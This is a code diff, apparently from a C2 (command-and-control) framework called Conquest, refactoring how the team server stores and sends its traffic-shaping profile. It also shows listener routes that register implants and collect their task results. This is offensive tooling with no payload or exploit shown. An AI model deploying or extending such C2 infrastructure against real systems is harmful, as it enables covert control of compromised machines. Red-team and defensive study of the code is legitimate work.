let data = cq.profile.reverseDataTransformation("http-post.agent.output", dataString)
# Add response headers, as defined in team server profile
var headers: HttpHeaders
for header, value in cq.profile.getTable("http-post.server.headers"):
headers.add((header, value.getStringValue()))
for header in cq.profile.getTableKeys("http-post.server.headers"):
headers.add((header.key, header.value.getStringValue()))
# Differentiate between registration and task result packet
var unpacker = Unpacker.init(Bytes.toString(data))
let header = unpacker.deserializeHeader()
if cast[PacketType](header.packetType) == MSG_REGISTER:
if not register(string.toBytes(request.body), request.remoteAddress):
if not register(data, request.remoteAddress):
request.respond(400, body = "")
return
elif cast[PacketType](header.packetType) == MSG_RESULT:
handleResult(string.toBytes(request.body))
handleResult(data)
request.respond(200, body = "")
request.respond(200, body = cq.profile.getString("http-post.server.output.body"))
except CatchableError:
request.respond(404, body = "")

View File

@@ -1,4 +1,4 @@
import terminal, strformat, strutils, sequtils, tables, system, osproc, streams, parsetoml
import terminal, strformat, strutils, sequtils, tables, system, osproc, streams
import ../globals
import ../core/[logger, websocket]
@@ -38,7 +38,7 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: Sle
packer.addData(cq.keyPair.publicKey)
# C2 profile
packer.addDataWithLengthPrefix(string.toBytes(cq.profile.toTomlString()))
packer.addDataWithLengthPrefix(string.toBytes(cq.profileString))
let data = packer.pack()
packer.reset()

View File

@@ -1,6 +1,5 @@
import strformat, strutils, terminal
import strformat, strutils, terminal, tables
import mummy, mummy/routers
import parsetoml
import ../api/routes
import ../db/database
@@ -24,7 +23,7 @@ proc listenerStart*(cq: Conquest, listenerId: string, hosts: string, address: st
# GET requests
for endpoint in cq.profile.getArray("http-get.endpoints"):
router.addRoute("GET", endpoint.getStringValue(), routes.httpGet)
# POST requests
var postMethods: seq[string]
for reqMethod in cq.profile.getArray("http-post.request-methods"):

View File

@@ -1,4 +1,4 @@
import times, json, base64, parsetoml, strformat, pixie
import times, json, base64, strformat
import stb_image/write as stbiw
import ./logger
import ../../common/[types, utils, event]
@@ -46,12 +46,12 @@ proc sendPublicKey*(client: WsConnection, publicKey: Key) =
if client != nil:
client.ws.sendEvent(event, client.sessionKey)
proc sendProfile*(client: WsConnection, profile: Profile) =
proc sendProfile*(client: WsConnection, profileString: string) =
let event = Event(
eventType: CLIENT_PROFILE,
timestamp: now().toTime().toUnix(),
data: %*{
"profile": profile.toTomlString()
"profile": profileString
}
)
if client != nil:

View File

@@ -1,5 +1,5 @@
import mummy, mummy/routers
import terminal, parsetoml, json, math, base64, times
import terminal, json, math, base64, times
import strutils, strformat, system, tables
import ./globals
@@ -15,14 +15,15 @@ proc header() =
echo "".repeat(21)
echo ""
proc init*(T: type Conquest, profile: Profile): Conquest =
proc init*(T: type Conquest, profileString: string): Conquest =
var cq = new Conquest
cq.listeners = initTable[string, Listener]()
cq.threads = initTable[string, Thread[Listener]]()
cq.agents = initTable[string, Agent]()
cq.profile = profile
cq.keyPair = loadKeyPair(CONQUEST_ROOT & "/" & profile.getString("private-key-file"))
cq.dbPath = CONQUEST_ROOT & "/" & profile.getString("database-file")
cq.profileString = profileString
cq.profile = parseString(profileString)
cq.keyPair = loadKeyPair(CONQUEST_ROOT & "/" & cq.profile.getString("private-key-file"))
cq.dbPath = CONQUEST_ROOT & "/" & cq.profile.getString("database-file")
cq.client = nil
return cq
@@ -44,10 +45,7 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
# Send the public key for the key exchange, all other information with be transmitted when the key exchange is completed
cq.client.sendPublicKey(cq.keyPair.publicKey)
of MessageEvent:
# Continuously send heartbeat messages
ws.sendHeartbeat()
of MessageEvent:
let event = message.recvEvent(cq.client.sessionKey)
case event.eventType:
@@ -57,7 +55,7 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
# Send relevant information to the client
# C2 profile
cq.client.sendProfile(cq.profile)
cq.client.sendProfile(cq.profileString)
# Listeners
for id, listener in cq.listeners:
@@ -143,11 +141,10 @@ proc startServer*(profilePath: string) =
try:
# Initialize framework context
# Load and parse profile
let profile = parsetoml.parseFile(profilePath)
cq = Conquest.init(profile)
let profileString = readFile(profilePath)
cq = Conquest.init(profileString)
cq.info("Using profile \"", profile.getString("name"), "\" (", profilePath ,").")
cq.info("Using profile \"", cq.profile.getString("name"), "\" (", profilePath ,").")
# Initialize database
cq.dbInit()
@@ -166,7 +163,7 @@ proc startServer*(profilePath: string) =
# Increased websocket message length in order to support dotnet assembly execution (1GB)
let server = newServer(router, websocketHandler, maxBodyLen = 1024 * 1024 * 1024, maxMessageLen = 1024 * 1024 * 1024)
server.serve(Port(cq.profile.getInt("team-server.port")), "0.0.0.0")
server.serve(Port(cq.profile.getInt("team-server.port")), cq.profile.getString("team-server.host"))
except CatchableError as err:
echo err.msg